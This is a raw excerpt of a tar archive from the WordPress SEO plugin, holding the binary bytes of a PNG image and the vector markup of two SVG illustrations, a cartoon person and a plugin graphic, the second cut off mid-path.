�!��t�T�w�k��'$�<�"t���n�󽻄�U�7�@��5�g�y3��t3p��ǹ@�3˘�}	t��}c0�'CO�;�Iz<��Y��4�+��'z�}�{���B��Л�C�@:,�·����|�df������.�g�.�*�:�9�C�.��{�wi�b)PV	:Tt�͟�VV��4u�B�Bo��Ժ�i�����^{ЍL����0'�b~~�������u]�E�:�3�љ�+}��'�m�S���+����{-c��V'�Џ��^�s�fCǂ����w� �M��$��yJM�gri��-(���m:W��u"TC���w.���–����-��P�l莡�s��!������q�N1�EЃ��ֵYI���;����˲�����
2�䚆��n]�]g֍L.ٛu��\�j�z�nd�ǹ��=���|'* ��t�ɺ������u}�C� .B7	:t���ת�e��t��qap��7�\����@o��v�:��;�U#{�98�E_�j�mv��.�G�ìM�9
���@G�S?ѣr/��]��<�}��0�	�A�������K�"Pj�F\A|�nD{|�F�w�������z�?ꂄ���0U���j���9�w��ߥ�����Gz{�z��e�|sa��y�4����L�ƃ�/H]�9�18G��Ћ�<G�!�R���v��bNe��<A�W�r��g�m��!�&���B_,]/w���~腚L���|a*8�H��m��>A�^l�����y�9�K��z�Dܠ�v\w�,�&���|��n� �3���j���_�Ɯ����;x[����8�]<�&�g����@�#/������]Sl�~�MA���}Y�/��<��k`����*�uǹ��j�޾��A��"F��a

�)��JO�����Z�=t����AFz&?�7��l�;?�H�x����u��X-u�8_��=�t�1k���BUU�{L��Mao�s.;�{p:�*��|�u���@�-=��
t/h�GB�?{�g�I�����_^�	�=��c��oπ[�V)���s��%t������B�gI�=�Kz��\BG�<?v��jj��̿�8=k�3�<ZU)R	9�;g��O�Jv.���*Ѹ�׶A��2�	}�t�݁U3��n�g�s0�|d�3����.��X�kQ9��"��|;V�s��wY���CY�@o��8w�}��j.l�G��t��r�l�}r#��sT�s�|�N첈��'�|�:�	Q9�{:!��c��x�+A�2���8��G�"�Ї��f��
�}�f�(vS�V���q.��岝���������_�c���5)�*G���cC���:7�w!�A�/o9B�_�җ����Bi��T#���R�7=8'Tg��*���d��ܫp�QU�AD����κ��z��k���@ߪ#�:A��>
��1��#�9�%繈eO[/n�j'wn�s���]e�}ރxO��JՎ��%t���B~'�\�^&m�o�	z{����~N�k_9����}�z��R���cG�}�F	=��@	蘠�x�'�m��2C/z�Xз��x��]��gA���8�k�)�ҵ�z*��9J�Ry�>}:w�5��3~5S�Bw��ޅ=��r�}[�7����K�7ܪW�;?�9ہ����̥��s*7�ng�׀.����d&���q��@�[8��
�=��+�of�й5����s�'���Lvwi4{�O8a�+�	݋���EHG��݃w�? g��Pз��Ħ�w��D���a�H���2�^�~t�Ȍ9��i5���:��RL�Iq(r:@F�ʉ�\��O�
����fI���MC�/�.����r�F����б
�>*�4��w��D�w�h:��z$�[O���5���s�u��x��u����2j$q�kf~=���:�m�]��J�906���D�Pз����_W�����ؿ��tp������n�t�$3�2t<����_�bs.e��Z'F΁!�����A����Y{�\E:�%��
�3�=���b�#��Gu�</��s�\zV1���v���䚎�1�� "Gr�PDD��CA����}]��z��`������eΙ�tŊ�O�Y&�s���;C�ց�>~�e��з`�J���H��<Bg�S_M�_L8G$�{�tp'Q�s	:�9��2����x����#B�R>���,==����ɕ��z���x��N0}�{�n�t��C��K�3q68O�a������;�u�v%����݀��J
�op��
7�^��X�(�q<�Ǣ�W7I貇����ʯ4��{i��t���P�Ư]`����B�p�x��3%�!&��7�`��n=���>;���H�f���~B�����:�9��+�9R���H������(i���f�P�*�U��^༖��}-�&�q�F�v�T�%�tϟ�����	�G������N�W��|=Gz#�ǥs��;�^n]Ĝ�N̏I]��B�E��?m��hٞc��9׬!�u�˥�y����R��0��]@?�	t?�ݱl"D�[y�>ȝ�ǁ���Xu��Z
]~M��o�@:��`�Iz�T��q�j��s��:�s�c��B�)����9�z@��8�i���4�ϔ.?�:����먜��B���~�{�n�� ~9�wKG�ϵ�TOk��_c҅A�	}���KV��f��tOe��ty
\�l�7��\���������g�a:�Kw��@���O�}�"�ν�)=���i5��^MC���R�7���h�!�~:���g�;�)��s���3�w�	}��!�/=��'���O'�s��g�o���_��˟B����;��зq�e��t���=u���k]{�;rS�a������n
�X�H`o{?����}:�5�3���o�Kι��axo߈{ˡ�t���?=�2t�\���"R���4�c����:��D�_&�E�L��Ur�e�:s������0�kY���W��
7��D]����|#�@keNF��C�ƹ$�/>�F��}f_�G/LK�Y:�t�~��9t�n�B.�vG8�9�NG���R�$�o��6���Sm����y	��V�q-��|}��� r΍�v"�8�!YT�X�N�Q쑡o�p�e�O�FL
εs�n�/���s{q�m_����n6t���.�;
R:�O���A���
:�\�Z�A������X�'���|�Wý�����e�G-�~�|�߂��!_}9t˵��{�=k������s�
��g��E��
�O2��d��q�+�W{Ngٜ�#��P��ʥ���?�t/��V�-�O?����C�|p�s.�����,��)��\�n@<fT����_�DR?���tק���z�H�|6�V)��<�ږ
ShC;U�]
]����W*�ý;W�Ёz�,G�N�o]嬱8�.�{B�O��sF�s�W��g���}���P����1HnT;k�~9��^8Bw����4	��vз�^�*��|#:��~�xX_���Bn���8؁&Efg
P�j;�Ƕ�<n��v�Kߍ�ʉ��'�9Ǒ������k�֧�z)}�w��O��:���#�wOo`��U�1�D��G�_A맶N��@Njg�C�t�d{zRÕ;��ϒ��Aߎ�O{���`FK�jx��R:��,ܹ}���*w����<+��.��jΛZ`K��l7�k��5`���U���=�6�w�r_��]���X�G>�&��~�U���tp���M�>����n6�]����c���18�6菴r_�:葿?�7��u����<���%"�ߏ!�oj�	}y%"�T�n��
��ٳ�O':�ӕ�����Bp����ח�s�[����=��өL�L���l�׊�ŕ;���1�W���m����}�Iz}��~��g��8�ל��zދu�grU�-���!�
1*�6ɘ4��d��i��oy��ں0g��E>'�/����S�|�]�m�������C�8;��7D�1�'����;\�6nx2N���
}�>2(P���ptꝨy�rQ�S�j��W�
}������
��~��Z��\�t��k�((k�G��ٺ^�H�y�}t�Bbu�g,�S+�}X�o[�D*'�V��5|��
�Ÿl���[$�{A�����g,�#�?6��!��i[vL�&q��������8��(B`��;�:Ta��~p5eU��P+������>_�"�_�/��]�#��Y��Q���D48	3����E�,��1�@���1��$B�,�.|�+�\��?K�\���5#���"]mE������3�)3)����3̉Y�i2�G�����L��B��zY|��;ߺ���~�M�󘻸�+`��M����e0��5a��(���=��2�ᱎL呙i�
�2�����˧H�"Y#}���x��y��n���e
�
SBè�	�!�f����%c��h1�5z~�
�+�����|�=�I,iy��*r�C�p֑/,��׃��]���<�!�J���{6taO�)$�|��zz�p�R�������w.H�I�H�c�t�@��e��r:1�M
2~%����U{���3ҹ�[wD�U*
���EC�����9D��Dwi�u-ts��q�����."��u{<�k
�5M�z<�:�H�S�A/�D�\��*��y^gқ��Ʉ��r�����a?���{�+i�^�8�;�N%:o7yl����>ꪉn�U��8��"�Kr��H%�߯�A�d�
3M3<޻B��CK��iŝo�����k���+vݳ�����ܓ�
�L��/�.�c��6�z�]u�j�)}>�>$�q�j�+R��my��K����	7璊��#�/�B�U��<q�j���$ݐ�~z��8f�g��(q�un\&0]	]�z]��+b���̳��n�А���E�]�\���
�(��x���st	�^hCz��<^����s��w�5C�櫋;����q�eV�漿��⽈Բ7ݛ=%=}!}���@�^���3OD��p�[��ur=����{H]������߳-�D*q��sIքRҟ�P3�,|P��m����<:7�(!�=�X�
���U�મ�.�
�:�Y�e�e@o����z�-СS��#w5U�G�T�*��q�(πN͢���;��@�Ç/�p}��Ы�7�ދ"3Iv�X{��B�7�y�Ы��KP�[�=zb��b/NCȑ�]�W��:���z:tnBI�gБ	]�Ѐ
�;�ױ�w��	%��ܳ���?�+�L�~��my�.O���\��@G.tC*{��79��'�zH�
�w�ܔߋˁ��]�{��¹s��^�W��z�{&�v�$�(t}�	�ui:���
��֟�<=\>:7�"�q��iR���<�������Z��e��R�H2����&t�Mj+�XJ��a|���d���E<'"~����-�u���mQW��|����cFo�!	u�	v�յD�eh+����3����ݱ�_�SK���(z�s�^��
�g��#�)BMs?t�C��F���V��9Ϡ���;J�CG��΁t��i��a����;��t�%�NC���r����+���@�s�H�,<|_�f�Yp��r��_]{��#��9Լq5s,��	�0�����xnW�����|�-zVE��41]&�:��܁�=ס^j���}71�W�pV-���
�_+~� ��^1��TD��R}3)��y~[�]D��u��/��[�Ko�e@��4�E7wD-�ի�=' :��n�ק�����sͶMO3D���=��'��
�#::���E�9�Nq��Mw#z :�3�oY� ::���Eo���1}Ӣw� :�ݯ�Ǣ�K�
�S�Y�ۨ�u��C-w�G_���s
���+�,��'�Go襈Nq�R=l��^'�8��U��oHt��F�C�P�Y|�X :�}Ӌ�mT%��wL��;�TG=	ŝ�J.��lk�TqЁN�c��T'��^;:w�o�*.�E���8.��Z��A�p�;��=�I쭄���;�}�P�wL��k���t���:�����a%��ltw��c:�����t~ǥ�H�����H�B��:?��r�� �1���;��8h]-��݁�n0���D:���A�H�`zK�+x+z����;��tw ����:(�m�:�tL���:(�=�w�;���a���	tд�B��m4]_R������/"����.M�6���	t0����خ��݁	�h��*Zq�4�����1����ڔ�
�;�F��xE��Ӧ.Ɍ9���:���"OoPi�1��0�~"� ��ފ-���|��Ʋo�1l��AkRݎ�$m٦�:�+tѝ�#�%����[91ai\uԲ�?���W*���bTמ��E��Ș�ie-"�
}}�v�n�k##VO��&��r���'�k�ϼ�ڪ6|К˷�;En�ԴQ��f�Y�C���P�N��'�bf�R��
r�ߧ#u���֦V����a���K�;�Z�7xn��s@����n�Q��$�����V���x�y��%�
��B.5cs�f?Iӟ8�y��R>t?�Vzk�nP~�s��7Ĵ����o�9˻��}�ۮ�v�O�)����>����Ñ`�T�s�s��hl�y���"����Ч��c�R"F�Y��3�{n�'��,��� F��XrMn��o�ݻs��I�1}����xnu��{�nzn�`���������ϩ�$�5��{��P"�?
�KT<�m�n�71{^7�(��$�N}�i�����>	�s��#��P���|�{��!�j����Sd�y����oJ7]*2�y0_��=�wl�� ��:� ���`:����4��o_���y^�r��s7�s��+�*�_Z2�<����Q��M���w!�_՗��`�+�~��]fL'�1������YLO��צ���.�9�q�Ǟ��u����=���D:�]�ŏݏsIp����r�L}�,љҹ�6q����2�A��݉��	���M�s�8K���gk���p�����%�ČC�4�z��#��G��Ɵ�M-�a�J�ܕiz�����`����=��MѤ8B�7��HtX8�g�~{��2\?��Hq�z����,�����wH��i~�g�r���g��ng)���w���Ju)Y��>�eE�@���Z4�X�'C]\�ΐ��z4�e�TlqGt��rLo�-���Z��(�Nw��/jh�\�����pM��H���1�mK���wɂ�阾jw�Ǭ!�t�{.���鋰��e�>��;��F����b��#����U5�\�#���0]��5�_q�V�X�#��ݗV��5{�2�ިE>At�;�o>�5y�%Ii����9��ݗT}�C�"����4���ݽ�EW�ތM��=Gt���M/ItY�y$z2z��騾��i�]����l���~E��&^���+z�{1��Gʽ��RR��lҨ�Ki�"E��C1�k�����o�������y�f?B�~����K��-jD�8ER�#�[��#�H:�����$���?E�/��yٓ���"�3:�3�#�\�fX��t��S*��#:C��w�(�\�f[��$e?Bt�;��1��nX.פ�F����_r��nI�twעG1�ζ�#����/�
Q�DDt��G���Nw��v�����-У�#��@����sD/aH��Uч�
D���N����:�#:������(���t�B<'����:���xNqw*:�����x΀��tw<D���9 :���9�#:����|͹~��tw4�sDw}�
ͩ�Nw'������sD��;s�����hN�;t����h��s���a�s߭��Nw?�#�ˉsǞ���}bཏW�p�����݇0f�yTUw�Ae�����˗:	:�R|Nq������H����xn�P����p��v�������h��yNw�����n��͡���E4G�p(�;mv4G��<��3�`GsD�w8����5D�̞C�e��4G�Pt�`���YiGt<7s(��dGsD�w�LW�-��D���UvV���96�
W��9�����ERE�UIEND�B`�wordpress-seo/images/mirrored_fit_bubble_man_1_optim.svg000064400000023120147510273100017627 0ustar00<svg viewBox="0 0 296 317" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><g transform="matrix(-1 0 0 1 295.274 .96)" fill="none"><circle fill="#F0ECF0" cx="131.18" cy="184.261" r="131.18"/><g fill="#EAB881"><path d="M236.42 96.56c-.15-.43-.29-.87-.44-1.3.15.43.29.87.44 1.3zm-31.98 59.96a11 11 0 0 0-2.11.82c.67-.3 1.4-.56 2.11-.82zm-2.11.82a58.65 58.65 0 0 0-6 2.81c2.67-1.11 4.56-2.11 6-2.81z"/><path d="M293.49 164.27c-8.58-10.51-1.05-27.75-34.52-86.31-3-5.22-5.26-14.52-12.85-17.58-9.11-3.67-12.77-9.16-21.89-12.83-6.85-2.76-4-1.36-3.21-.49 1.49 1.67-2-1.31-5.72 7.13-.38.85 2.86 1.63 4 5 .36 1.07.49 1.14 1.23 1.33 4.71 1.2 6.52 6.89 4.2 10.06-.7-1.43.18-6-4.68-6.36 2 1.44 4.06 3.42 4 5.88 9.4 16.64 17.56 14 20 15 12.43 4.92-17.28 64.57 23 86.13-7.34-1.94-14.31-5.46-23.92-1.33 7.28-5.53 2.46-7.57.86-10.89-2.17-2.92-2.29-11.71-2.6-22.62a103.2 103.2 0 0 0 1.09 20.32 54.8 54.8 0 0 0-38-.12c5.19-1.21 15.45 48.34 20.15 53.9 3.8-1.4 23-8.57 35.17-14.11 21.52-9.81 34.94-25.76 35.44-28.31.24-1.47-.85-2.71-1.75-3.8zm-41.62-99.13c.06.1 8.87 19.59.56 1.21-.2-.44-.38-.84-.56-1.21z"/><path d="M215.17 56.04c.46.17 2 1.49-.23-.93-.88 2.39-.6 4.42 2 6.74 1.06-3 0-3.51-1.77-5.81zm-4.33 23.82c.28-.07.36.05-.35-.38l.35.38z"/></g><path d="M203.74 73.77c0 .4-.33-.06 2.94 2.38l-2.94-2.38zm5.26 4.27c2.3 2 3.13 2.53 2.19 1.77L209 78.04zm6.17-22c.05.06 1.79 2.31 1.83 2.38-.49-1.27-.83-2.01-1.83-2.38zm-.52 11.73c1.38-.08.73 1.34 2.16-.5.52-.67 1.91-3.21.71-2.6.56-2.33-.09-6.71-.19-4.75-.13 2.46-3.7 10.77-8.67 9.87a7.6 7.6 0 0 0 3.25.22c2.74-.39 2.36-.97 2.74-2.24zm-5.99 2.02a6.27 6.27 0 0 1-1.42-.59c.42.309.906.51 1.42.59z" fill="#D38053"/><path d="M214.2 69.33a4.13 4.13 0 0 1-.85 3.73c3.38-1.27 3.66-3.51 2.48-4.78-1.18-1.27-1.34.03-1.63 1.05zm-32.31 1.85c.11.84 2.61 2.33 3.3 2.78a13.33 13.33 0 0 1-3.3-2.78zm10 4.39c-.21.13-.45.1.31 0-.28-.12-.13-.1-.31 0zm-6.51-1.53a29.79 29.79 0 0 0 4.51 2.28c2.54-1.52.8.82-4.51-2.28z" fill="#D38053"/><path d="M202.61 77.13c-.91.35-5.67.26-10.41-1.57-6.74 1-6.41 12.08-1 12.4 8.18.48 10.11 3 13.48 1.92 6.82-2.28 2.4-11.62-2.07-12.75z" fill="#EAB881"/><path d="M217.52 64.67a4.92 4.92 0 0 1 2.54-.48c4.87.36 4 5 4.68 6.36 2.31-3.16.52-8.86-4.2-10.06-2.25-.57.56-2.91-7.86-7.27a10.79 10.79 0 0 1 4.84 11.45zm15.23 112.51c-6.79 1.78-17.9 1.65-21-5.2 3.71 11.1 9 26.86 12.86 37.68 2.88-.89 7.41-1.86 8.89-3.4-3.52-4.16-8.67-10.41-8.74-15.89-.07-5.48 2.92-11.16 7.99-13.19zm-26.31-20.36c-.14.17-.15 0 .53 1.27-.18-.46-.35-.89-.53-1.27z" fill="#D38053"/><path d="M246.11 86.55c-2.26-3.64-4.21.58 2.23-3.3-10.49 4.56-18.5-2.9-24.34-13.21-.05 1.82-1.23 3.13-2.61 4.36-9.64 8.64-10.89 4.95-12.39 3.64-8-7-3.86-2.44-6.09-1-.71.46 4.08 1 5.31 7.11a5.26 5.26 0 0 1-2.67 5.38c7.41 5.8 14.7 2.46 25.68-4.09 14.67 22.17 7.38 66.27 12.78 73.54 1.6 3.32 6.42 5.36-.86 10.89 9.61-4.13 16.58-.61 23.92 1.33-37.63-20.16-14.29-73.91-20.96-84.65z" fill="#D38053"/><path d="M190.92 211.52a81.3 81.3 0 0 0-9.26-12.14c6.41 7.94 17.18 24.84 9.26 12.14z" fill="#A52A6A"/><path d="M205.85 156.04c-31.36 13.6-26.45 13.21-42 8.34-18.87-5.91-37.14-.76-32.1-1.07 11.82-.72 29.07 49.31 35.44 66.88l62.17-10.35c.64 7.64-20.9-59.34-23.51-63.8z" fill="#A52A6A"/><path d="M214.23 180.31c-8.73 13.9-32.09 11.23-35.71-4.78 8 32.54 8.23 20.07-9.5 9.69 25.36 25.8 22.47 41.74 28.27 44.5 3.49 1.65 13.65-3.77 26.3-7.69 3.3-1 4.88-1.61 4.76-2.19l-14.12-39.53z" fill="#7C2050"/><path d="M192.93 72.9a3 3 0 0 1-.92 2.58 25.5 25.5 0 0 0 9.52 1.8c2.47-.02.6.27-8.6-4.38z" fill="#EAB881"/><path d="M220.06 64.19c-3.36-.25-1 1.37-4.23 4.09 1.18 1.27.9 3.51-2.48 4.78a4.07 4.07 0 0 0 .85-3.73c-2.67 1.26-5.78.74-7-.13 4.38 2.46 8.07-2.64 9.69-7.37-2.58-2.31-2.87-4.34-2-6.74-1.19-1.31-4.4-3.35.19-.49a25 25 0 0 1 2.94-5.18c1.27-1.71 5.22-.83 1.65-3.46-1.76-1.3-8.08-2.63-8.81-2.59a4.11 4.11 0 0 0-3.06 1.53c-4.33-1.59-9.29-1.86-11.78 2-4.24-3.58-9.38 2.15-7.77 6.69 1.44 4-1.86.15-7.06 14.62-1.27 3.54 5.07 7 8.77 7.58 7.7 1.25-18.75-8.93 2.24-.45 3.4 2.66 5.28 1.49 10.44 1.8 1.08-.47 1-1.92 1.05-3.09 0-1.84 6.81 8.52 10.32 5.44 8.71-4.45 13.99-9.58 6.05-15.3z" fill="#EAB881"/><path d="M192.51 69.95c.38.94.28.45 0-2.57a4.18 4.18 0 0 0 0 2.57z" fill="#EAB881"/><path d="M194.68 57.19a15.87 15.87 0 0 0 .36-1.77c-.14.62-.25 1.18-.36 1.77z" fill="#D38053"/><path d="M59 167.04c-7.75 3.79-5.09 3.25-3.46 3.59a74.937 74.937 0 0 0 3.46-3.59zm69-3.33l-.77-.17c.242.112.504.17.77.17z" fill="#A52A6A"/><path d="M200.06 262.44c1.23-17.17 10-35.47-31-77.22-8.89-9-13.84-13.86-31.69-19.13 6.35 7.45-.5 40.2-3.43 38.36-25.84-16.17-70.31-19.82-79.39-32.84 6.7-6.24-28.46 5.48-39.7 16.24-3.57 3.42-8.13 12.77-12.22 22.43 8.53 42.43 41.23 74.66 42.5 72 3.64-7.7 7.17-15.66 6.64-14.47 11.84 12.23 19.29 19.48 23.78 35.23A131 131 0 0 0 201 295.25c-.06-16.21-1.3-27.79-.94-32.81zm-145.78-.4c.1 0 0-.08-1.06 2.38.36-.79.71-1.59 1.06-2.38z" fill="#A52A6A"/><path d="M53.29 267.84c5.65 7.53 33.06 17 44.3 27a280 280 0 0 1-35.06-36.66 203.23 203.23 0 0 0 49.54 9.79l-47.15-13.12c.667-5.7 1.333-11.393 2-17.08-3.35 4.49-11.74 22.07-13.63 30.07zm125.12-18.17c-12.42-1.14-45.91 6.44-50.79 17 18.32-12.22 51.08-16.81 54.55.56-.17-1.02 12.83-16.03-3.76-17.56z" fill="#7C2050"/><path d="M124.39 155.75c0 .21.1.43.16.64-.06-.21-.11-.43-.16-.64zm-57.05-39.34c-.59 0-.52-.25 0 1.56 1.53 2.37.74 1.51 0-1.56zm56.8 38.33l.12.46-.12-.46zm-69.63 16.87c9.09 13 53.53 16.65 79.39 32.84 2.16 1.35 8.75-21.75 4.69-36.08-1.9-6.72-10.19-4.65-10.62-4.66-1 0-1.46-.64-1.83-1.66-.68-1.91-1.52-5.36-1.48-5.21-1.23 4.07-1.68 6.59-3.49 7.5-6.48 3.24-37.85-9.4-52.25-41 .62 2.53 1.06 5.26-1 3.64 3.8 16.54 5.92 26.64-13.41 44.63z" fill="#EAB881"/><path d="M107.65 148.64c-20.65-5.6-33.72-12.94-37.72-32.87-3.26 1.48-3.22-1.55-1 7.6 14.4 31.56 45.77 44.21 52.25 41 2.15-1.07 3.54-7.31 3.38-8-2.21-8.85 2.2-2.53-16.91-7.73z" fill="#D38053"/><path d="M140.75 66.31c-3-9.44-7.65-19.56-11.74-25.21a15.73 15.73 0 0 1-8.82-3.17c-7.48 8.26-15.45 4.83-16.65 0-1.68 5.91-9.62 9-14.83 5.74a6.35 6.35 0 0 0 4.78-2.95 18.42 18.42 0 0 1-15.21-2.12c-6-.8-4.66-.93-1.31 4.28 7.29 11.35 4.24 15-4.14 23.72C62.7 77.12 70.69 82.04 74 85.14c6.7 6.17 1.74 13-5.65 12.35 4.88 8.65 5.25 9.2 5.41 10.7.34 3.25-1 6.28-3.86 7.58 4 19.73 16.77 27.17 37.72 32.87 6.48 1.76 13.43 3.33 20 1.88 6.57-1.45 12.87-6.74 13.24-13.51.22-4.11-1.69-10-1.26-14 .68-6.64 5.94-5 6.24-21a112.12 112.12 0 0 0-5.1-35.45" fill="#EAB881"/><path d="M121.63 67.04c-.14 1.89.33 11.5 1.43 14.94 2.29 7.11 7.13 6.6 10.67 8.13 4.36 1.9 5.64 6.66-1.58 8.75-3.85 1.12-7.92 2.25-11.82 1.33 1.4 1.63 3.81 1.84 6 1.84 14.73 0 15.5-9 13.14-12.25-3.67-5.06-12.38-1.31-15.58-12.81-.81-2.74.11-8.51-2.26-9.93z" fill="#D38053"/><path d="M110.39 112.3c-10.66-3-13.86-7.32-14.77-5.86-1.15 1.83 18.2 12.62 29.48 6.84-5.03.06-9.69.44-14.71-.98zM86.23 73.61c1.75 0 7-6 8.82-7.15 3.63-2.2 7.63-1.08 11.78-2-.51-1.34-3.51-5.43-4.18-5.29-3.17.68-9.2.3-9.2.3s-13.18 14.27-7.22 14.14zm39.37-15.85c-5.09.43-3.23 1.61-2.29 5.5a18.92 18.92 0 0 1 17.63 3.35c-5.31-8.47-9.64-9.34-15.34-8.85z" fill="#000"/><path d="M91.39 85.5c4.56 6.52 15.3 4.23 18.45-1.77-.92-5.69-16.99-9.33-18.45 1.77zm9.87 1.69c-6.09 3.06-8.18-7.15-1.85-7.15 4.07 0 5.74 5.19 1.85 7.15zm25.58-4.58c2.38 3.65 14 2.53 14.28-3.35-4.19-9.42-16-4.69-14.28 3.35zm8.47-1.63a3.56 3.56 0 0 1-5.31 1.29c-2.29-1.87-1-6.45 2.58-6a3.57 3.57 0 0 1 2.73 4.71z" fill="#FFF"/><path d="M126.72 79.53c1.76-6.07 10.8-8.36 14.4-.27 1.07 2.38.95-6.79-5.3-7.23-3.92-.28-10.17.09-9.49 10a11.4 11.4 0 0 1 .39-2.5zm-27.31.51c-6.34 0-4.24 10.2 1.85 7.15 3.89-1.95 2.23-7.15-1.85-7.15z" fill="#000"/><path d="M132.6 76.26c-3.61-.44-4.87 4.14-2.58 6a3.4 3.4 0 1 0 2.58-6zm-63.68 47.11c-2.54-10.52-.32-4.66-9.77-9 5.12 9 12.19 18.98 9.77 9zM129 41.1c5.48 7.57 6.11 13.42 5.52 9.56a51.53 51.53 0 0 0-2.44-9.71 16.7 16.7 0 0 1-3.08.15z" fill="#000"/><path d="M137.16 26.23c3.42-12.58-5.26-13.54-7.57-11.18A10.51 10.51 0 0 0 113.3 5.04c-3.11-5.35-12.48-8.78-24.25 2.14C88-.5 72.44 1.9 70.12 17.68c-5.8 1.09-8.67 4.26-10 6.8-5.74.56-24.3 24.19-25.12 32.06-.51 4.69 2 9.11 3.31 13.65.84 2.89 1.22 6 2.75 8.59 4 6.77 0 3.56 5 2.71 4.44-.75 16.29 5.15 22.4 16 3.66.32 7.38-.9 8.67-5.17 1.72-5.69-6.59-8.6-8.54-13.18-4.08-9.57 10.77-15 12.37-23.84 1-5.78-3.41-11.93-7.06-17.09 1.24 0 2.7.15 4.46.38-.16-.1-.3-.21-.45-.32a17.59 17.59 0 0 0 15.66 2.44 6.35 6.35 0 0 1-4.78 2.95c5.21 3.24 13.15.17 14.83-5.74 1.2 4.84 9.14 8.31 16.65 0a16.12 16.12 0 0 0 18.08.78 11.39 11.39 0 0 1-5.61-4.34c3.19.61 6.37-1.64 7.88-4.5 1.51-2.86 1.74-6.22 1.9-9.46a9.68 9.68 0 0 1-5.36 5.83zm-77.44 3.81l-.08-.11.08.11zm-.5-3.51v.09c0-.37.06-.82.09-1.36-.05.48-.07.89-.09 1.24v.03zm14.53 7.72a18.09 18.09 0 0 0 4.06 4 16.75 16.75 0 0 1-4.06-4.03v.03zm-.59-.86l.24.35-.24-.35z" fill="#000"/><path d="M97.49 76.04c-3.73.6-7.38 4.53-6.58 9 1-2.29 1.84-4.94 5.06-6.12 4.28-1.56 11.29-.39 13.75 4.36 1.38 2.65.02-9.24-12.23-7.24z" fill="#000"/><path d="M73.79 108.19c-.16-1.5-.53-2.05-5.41-10.7-6.11-10.84-17.95-16.75-22.38-16-7.48 1.27-15.82 21.55 15.3 33.82 8.33 3.28 13.12-1.13 12.49-7.12z" fill="#EAB881"/><path d="M96 105.92c2.11-2.9 10.26 2.05 16.39-5.72.79-1 1.41-4 3.31-3.71-5.06-.88-6.61 8.28-14.23 6.32-3.12-.81-9-5.15-10 11.67a58.56 58.56 0 0 1 4.53-8.56zm-33.55-5.55c4.3-10.34-20.92-21.24-19.6-7 .3 3.21 2.29 8.83 5.31 9.81-2.45-5.37.27-12.44 1.57-13.5 2-1.61 4.51.76 7.4 2.9-.13 1.68-2.51 2.46-2.65 4.09-.12 1.31 1.07 2.94 5.05 2a7.72 7.72 0 0 1-2.17 5 5.2 5.2 0 0 0 5.09-3.3zm130.32-29.93a3.7 3.7 0 0 1-.27-3.06c4.45-17.69 1.95-7.91-1.07-3.12-2.38 3.78-3.24 6.3.67 8.22 23 11.28 1.9-.25.67-2.04z" fill="#D38053"/><path d="M192.25 75.29c-2.41-1-6.47-3.9-6.5-5.61 0-1.15 4.89-8.09 3.9-14.36-1.07 1.71-6.51 12.19-6.39 14.2.23 3.86 9.09 5.81 8.99 5.77zm13.21-25.34c-.16 1.86-6.76 14.12-6.76 18.83.36 1.09 4.49 2.16 4.71 3.29-6.82-5.17 3.5-20.43 2.05-22.12z" fill="#D38053"/></g></svg>wordpress-seo/images/news_plugin_assistant.svg000064400000055716147510273100016007 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" focusable="false"><path fill="#7577aa" d="M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"/><path fill="#fff" d="M420 0H80A80 80 0 0 0 0 80v340a80 80 0 0 0 80 80h75.89L437.61 2" opacity=".13"/><path fill="#fff" d="M46.1 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L112 236 75 119.8H34l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z" opacity=".3"/><path fill="#7e9358" d="M402.85 441.72c-.25-1.62 3.32-11.13 7.95-21.21-7.39 8.88-24.68 23.12-24.68 23.12s19.36 18.09 19.78 23c.36 4.16-14.47 26.42-19.15 33.34h24.34c-1.29-9.14-7.75-55.03-8.24-58.25z"/><path fill="#7e9358" d="M412.55 356.4l-5.15 7.75a8.1 8.1 0 0 1 4.93 9.34l-2.8 12.3c2.35 13.22 4.12 24.22 4.49 28 4.84-9.74 10.11-18.5 13.22-19.47 7-2.18 10.43-3.84 4.12 4.67s-23.3 41.4-22.75 40.58 11.24-5.76 17-12.64 6.57 1.94 1.09 7.45a107.63 107.63 0 0 1-17.55 12.41l7 53.24H470c-1-7.55-16.38-124-39.46-147.77-8.27-8.53-20.9-18.64-33.86-28.22 1.8 5.82 4.34 17.35 6.94 30.31zm-196.34 75.02c4.19-4.82 2.31-12.94 2.89-19.19-3.6-4.52-6.3-8.58-6.56-10.86-.78-6.87 6.64-70.9 9.39-83.26-11.33 6.7-22.13 13.15-28.3 16.94-2 1.21-3.95 4.35-5.93 8.95-8 15.78-62 123.27-57.41 141.18a62.24 62.24 0 0 0 6 14.82H177c-6.33-11.22-12.3-27.35-14.08-36.86-.62-3.33-.75-5.87-.18-7.07a8.42 8.42 0 0 1 1.52-2.1 44.56 44.56 0 0 1 9-6.76 109.8 109.8 0 0 1 10.16-5.43c-2.64-1.88-5.57-3.88-8.52-5.77-2.44-1.55-4.89-3-7.19-4.23-4.26-2.26-8-3.7-10.3-3.36-8.23 1.24-5.36-6.6.82-7.82 2-.39 6 1.94 10.45 5.29 2.23 1.66 4.58 3.56 6.89 5.52 3.87 3.28 7.6 6.68 10.34 9.24.93-.4 1.85-.79 2.75-1.15-2.26-7.12-6.42-19.73-10.15-28.12a55.12 55.12 0 0 0-2.58-5.17c-3.92-6.71.72-6.18 4.09-5.17a26.31 26.31 0 0 1 2.88 1.07c5.19 2.77 6.53 17.47 9.07 36.15 4-1.38 7.29-2.08 9-1.65 1.17.29 2.41 2.22 3.63 5.21a96.64 96.64 0 0 0 11.61-10.4zm16.02 62.89a176.07 176.07 0 0 1-19-5.14c.09 3.8-.12 6.77-.72 8.34a17.29 17.29 0 0 1-1.2 2.49h23.93c-.8-1.53-1.84-3.48-3.01-5.69z"/><path fill="#260101" d="M383.74 162.32l-14.12.23c.39 22.57.29 52.34-2.44 64.34-2.88 12.78-9.18 27.54-21.07 38.11l.21 10.06.31 14.82s2.91 1.65 7.28 4.17c77.47-15.66 71.7-72.1 71.7-72.1-4.32 11.3-7.82 12.41-14.89 9.93 0 0-17.38-87.18-23.85-98.3-4.65-8-8.92-29.24-33.51-41.09 33.22 21.89 30.38 69.83 30.38 69.83zM270.9 